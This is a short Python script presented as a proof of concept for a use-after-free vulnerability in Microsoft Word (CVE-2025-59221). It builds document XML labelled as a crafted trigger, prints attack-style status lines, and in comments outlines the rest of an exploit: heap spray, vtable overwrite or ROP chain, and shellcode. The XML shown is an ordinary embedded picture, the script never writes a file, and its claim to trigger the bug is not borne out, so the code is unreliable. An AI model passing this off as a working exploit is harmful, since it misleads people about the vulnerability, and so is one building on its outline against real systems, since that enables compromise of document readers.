The following code is for security research and authorized testing only.
python
# CVE-2025-59221 - Microsoft Office Word Use After Free PoC
# This is a conceptual PoC demonstrating the vulnerability trigger
# WARNING: For educational and authorized testing purposes only
import struct
import os
def create_malicious_docx(filename="malicious.docx"):
"""
Create a crafted Word document that triggers the Use After Free vulnerability.
The document contains specially formatted content that causes Word to
free memory containing certain objects while still holding references to them.
"""
# DOCX is essentially a ZIP archive containing XML files
# The key component is word/document.xml which contains the document content
document_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<w:body>
<w:p>
<w:r>
<w:rPr>
<w:rFonts w:ascii="Calibri" w:hAnsi="Calibri"/>
</w:rPr>
<w:t xml:space="preserve">CVE-2025-59221 PoC Document</w:t>
</w:r>
</w:p>
<!-- Trigger element: crafted object that causes UAF during parsing -->
<w:p>
<w:r>
<w:object w:dxaOrig="100" w:dyaOrig="100">
<w:drawing>
<!-- Malformed embedded object reference to trigger use-after-free -->
<wp:inline distT="0" distB="0" distL="0" distR="0"
xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing">
<wp:extent cx="100" cy="100"/>
<wp:docPr id="1" name="UAF_Trigger"/>
<a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main">
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture">
<!-- Crafted reference that triggers the vulnerability -->
<pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture">
<pic:nvPicPr>
<pic:cNvPr id="0" name="image.png"/>
<pic:cNvPicPr/>
</pic:nvPicPr>
<pic:blipFill>
<a:blip r:embed="rId1"/>
<a:stretch><a:fillRect/></a:stretch>
</pic:blipFill>
</pic:pic>
</a:graphicData>
</a:graphic>
</wp:inline>
</w:drawing>
</w:object>
</w:r>
</w:p>
</w:body>
</w:document>'''
# Note: A real exploit would require precise crafting of the binary content
# to control the heap layout and achieve code execution after the free.
# The actual exploit would typically involve:
# 1. Heap spray to place controlled data in freed memory regions
# 2. Virtual function table overwrite or ROP chain construction
# 3. Shellcode injection for arbitrary code execution
print(f"[*] Conceptual PoC for CVE-2025-59221")
print(f"[*] Target: Microsoft Office Word")
print(f"[*] Vulnerability: Use After Free leading to code execution")
print(f"[*] Note: Full exploitation requires heap manipulation techniques")
print(f"[*] File would be saved as: {filename}")
return document_xml
if __name__ == "__main__":
payload = create_malicious_docx()
print("[+] PoC generated successfully")